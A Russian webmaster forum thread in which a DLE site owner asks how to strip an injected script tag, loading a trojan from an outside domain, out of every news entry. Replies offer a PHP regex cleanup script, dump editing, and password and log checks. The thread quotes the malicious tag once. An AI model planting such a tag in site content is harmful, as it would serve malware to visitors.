Массовая замена в бд

12
Raskrutchik
На сайте с 06.12.2005
Offline
152
2415

Злоумышленники вставили ссылку (<script src="http://piksus.msk.ru/b4fc9fdbac767214d831be0c5121e87b.js" type="text/javascript"></script>) на трояна в новости сайта на Dle.

Думал что с помощью запроса UPDATE `table` SET `column` = REPLACE( column, 'search', 'replace' ) ; заменю и ок. Но оказалось что в ссылке xxxx.js в ссылке постоянно разный. Как правильно удалить данный код из все новостей с помощью mysql?

Квесты в реальности (https://livequests.ru/)
L
На сайте с 07.12.2007
Offline
351
#1

Не уверена, поддерживает ли REPLACE( column, 'search', 'replace' ) регулярку, да и вообще у MySQL она урезанная.

Проще на PHP скрипт накидать:

$Tbl = 'ИмяТаблицы;

$column = 'Имя поля в таблице';
$res = mysql_query("SELECT * from `$Tbl` WHERE $column LIKE '%<script src="http://piksus.msk.ru%' "); // Выбрать все строки, содержащие <script src="http://piksus.msk.ru
while ($row = mysql_fetch_array($res, MYSQL_ASSOC)) {
$str = preg_replace("|<script src="http://piksus.msk.ru/.+?</script>|is", "", $row{ $column });
mysql_query("UPDATE `$Tbl` SET $column='$str' WHERE ..."); }

Только надо условие в WHERE ... подставить, если есть - ID записи (WHERE ID='{$row['ID']}') или что-то ещё.

И сначала лучше прогнать без записи в MySQL, просто ECHO-м распечатать, чтобы не накосячить и регулярку отладить

PS: $row{ $column } заменить на $row[ $column ], квадратные скобки в коде форума не вставляются

Ну и подключиться к БД надо предварительно:

$conn_id = mysql_connect(SQL_HOST, SQL_USR, SQL_PWD);	  // Подключаемся к базе MySql

mysql_select_db($conn_id, SQL_BASE); // Выбираем Базу Данных

и может потребоваться перекодировка данных, что-то типа:

mysql_query("SET character_set_client ='utf8'", $conn_id);	// В какой кодировке будут поступать данные от клиента: UTF8, тк в ней страницы сайта


mysql_query("SET character_set_connection = 'cp1251'", $conn_id);// В какую кодировку преобразовать полученые от клиента данные перед выполнением запроса: CP1251, тк данные в БД хрянятся в ней

mysql_query("SET collation_connection = 'cp1251_general_ci'", $conn_id); // Каким образом сравнивать между собой строки в запросах: CP1251, тк данные в БД хрянятся в ней

mysql_query("SET character_set_results = 'utf8'", $conn_id); // Как перекодировать результаты запроса перед выдачей клиенту: UTF8
Raskrutchik
На сайте с 06.12.2005
Offline
152
#2

Даа, для меня это все сложно, один запрос я еще мог осилить, а вот это все ужасно 🤪

D
На сайте с 28.06.2008
Offline
1101
#3

Выгрузи дамп базы и уже в редакторе Notepad++ удали код регуляркой

Raskrutchik
На сайте с 06.12.2005
Offline
152
#4

Попросил поддержку хостинга исправить проблему, исправили. Всем спасибо :)

Raskrutchik
На сайте с 06.12.2005
Offline
152
#5

Ладно с убиранием этой хрени разобрался, а как сделать так чтобы она не появлялась? Стоит dle 8.5 вроде все дыры закрыты, а тут снова этот код появился.

BralBine
На сайте с 21.07.2011
Offline
73
#6
Raskrutchik:
Ладно с убиранием этой хрени разобрался, а как сделать так чтобы она не появлялась? Стоит dle 8.5 вроде все дыры закрыты, а тут снова этот код появился.

А попробовать сменить пароли на phpmyadmin, ftp, аккаунт хостинга?

Если не помогает, смотрите логи хостинга, кто и куда залазиет, что меняет.

Али вновь к хостеру - может он заражён.

Raskrutchik
На сайте с 06.12.2005
Offline
152
#7

Логи в панели хостинга мои.

Логи ftp есть и не мои, но они неудачные, так как ftp ограничено моим ip который постоянно меняется, и перед заходом я выставляю его в панели :)

Логи phpmyadmin в панели хостинга не отображаются, их мождно посмотреть в самом phpmyadmin ?

Но мне кажется скрипты вставляются через какую-то дырку.

BralBine
На сайте с 21.07.2011
Offline
73
#8

Попробуйте сменить пароль от самой базы MySql.

Советую просмотреть внимательно access_logs (access.log), кто меняет этот файл, ну и соответственно смотрите как. Если по прежнему не можете решить проблему - прибегайте к помощи хостинга.

maldivec
На сайте с 04.11.2008
Offline
160
#9
Raskrutchik:
Стоит dle 8.5 вроде все дыры закрыты

DLE лицензия?

Raskrutchik
На сайте с 06.12.2005
Offline
152
#10
BralBine:
Попробуйте сменить пароль от самой базы MySql.
Советую просмотреть внимательно access_logs (access.log), кто меняет этот файл, ну и соответственно смотрите как. Если по прежнему не можете решить проблему - прибегайте к помощи хостинга.

За какие ключевые слова цеплятся при поиске, даже не знаю что искать.

Нет, не лицензия

12

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий